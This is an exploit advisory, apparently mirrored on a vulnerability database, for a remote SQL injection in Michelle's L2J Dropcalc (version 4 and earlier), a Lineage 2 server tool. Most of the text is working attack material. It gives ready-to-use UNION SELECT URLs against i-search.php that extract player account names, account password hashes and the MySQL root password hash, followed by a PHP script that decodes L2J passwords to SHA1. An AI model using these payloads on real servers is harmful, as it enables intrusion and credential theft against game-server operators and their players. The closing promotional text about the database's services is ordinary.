Lucene search
K

Michelles L2J Dropcalc <= 4 - Remote SQL Injection Vulnerability

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 15 Views

L2J Dropcalc SQL Injection Vulnerability in Michelle's L2J Dropcalc v

Code

                                                #==============================================================================================
#  Title: Michelle&#39;s L2J Dropcalc
#  Version: &#60;= v4
#  Web Site: http://www.msknight.com/comps/lineage2/myl2jdropcalc.htm
#
#  Discovered By: Codebreak ([email protected] | www.codebreak.tk)
#
#==============================================================================================
#  SQL Injection: (*** Must be logged in, using your own username and Token ***)
#
#  http://[Target]/[Path]/i-search.php?itemid=&username=[User]&token=[Token]&langval=lang-eng.php&server_id=0&skin_id=0&itemid=[SQL]
#
#  Example:
#
#   Obtain a player username:
#   http://[Target]/[Path]/i-search.php?itemid=&username=[User]&token=[Token]&langval=lang-eng.php&server_id=0&skin_id=0&itemid=-1 UNION select null,account_name,null,null,null,null,null from characters where char_name = &#34;[PLAYER]&#34;
#
#   Obtain a password for that username (*** encrypted): 
#    * only valid if loginserver and gameserver are in the same machine
#   http://[Target]/[Path]/i-search.php?itemid=&username=[User]&token=[Token]&langval=lang-eng.php&server_id=0&skin_id=0&itemid=-1 UNION select null,password,null,null,null,null,null from accounts where login = &#34;[USERNAME]&#34;
#
#
#  Bonus:
#   
#   Obtain MYSQL Password (encrypted):
#    *only valid if the script is executed with root accounts.
#   http://[Target]/[Path]/i-search.php?itemid=&username=[User]&token=[Token]&langval=lang-eng.php&server_id=0&skin_id=0&itemid=-1 UNION select null,Password,null,null,null,null,null from mysql.user where User = &#34;root&#34; and host=&#34;localhost&#34;
#
#   *** L2J Encrypted Password can be decoded into a SHA1 hash. I&#39;ve made a script to do that and it&#39;s included in this file
#
###############################################################################################


&#60;--------- Beginning of PHP Script ---------&#62;

&#60;style type=&#34;text/css&#34;&#62;
&#60;!--
.style3 {font-size: 24px}
.style1 {color: #CC0000}
--&#62;
&#60;/style&#62;
&#60;?
echo(&#34;&#60;title&#62;L2J Pass Decoding - POC&#60;/title&#62;&#34;);
$pass = $_POST[&#39;decode&#39;]; 
$unpass3 = base64_decode($pass);


$array = unpack(&#34;H*&#34;, $unpass3);
foreach ($array as $key =&#62; $value)
$unpass2 = $array[1];


echo(&#34;&#60;span class=style1&#62;&#60;b&#62;&#60;u&#62;Decoding Password&#60;/u&#62;&#60;/b&#62;&#60;/span&#62;&#34;);

echo(&#34;&#60;br&#62;&#60;b&#62;Base 64:&#60;/b&#62; $pass&#60;br&#62;&#34;);
echo(&#34;&#60;b&#62;Unpacked:&#60;/b&#62; $unpass3&#60;br&#62;&#34;);
echo(&#34;&#60;br&#62;&#60;b&#62;SHA1:&#60;/b&#62; $unpass2&#60;br&#62;&#34;);
?&#62;
&#60;form name=&#34;form1&#34; method=&#34;post&#34; action=&#34;&#34;&#62;
  &#60;div align=&#34;center&#34;&#62;
    &#60;input type=&#34;text&#34; name=&#34;decode&#34;&#62;
    &#60;input type=&#34;submit&#34; value=&#34;Decode&#34;&#62;
  &#60;/div&#62;
&#60;/form&#62;
&#60;br&#62;&#60;br&#62;&#60;br&#62;&#60;center&#62;&#60;i&#62;Created by Codebreak&#60;/center&#62;&#60;/i&#62;

&#60;------------- End of Script -------------&#62;

# milw0rm.com [2007-01-31]

                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation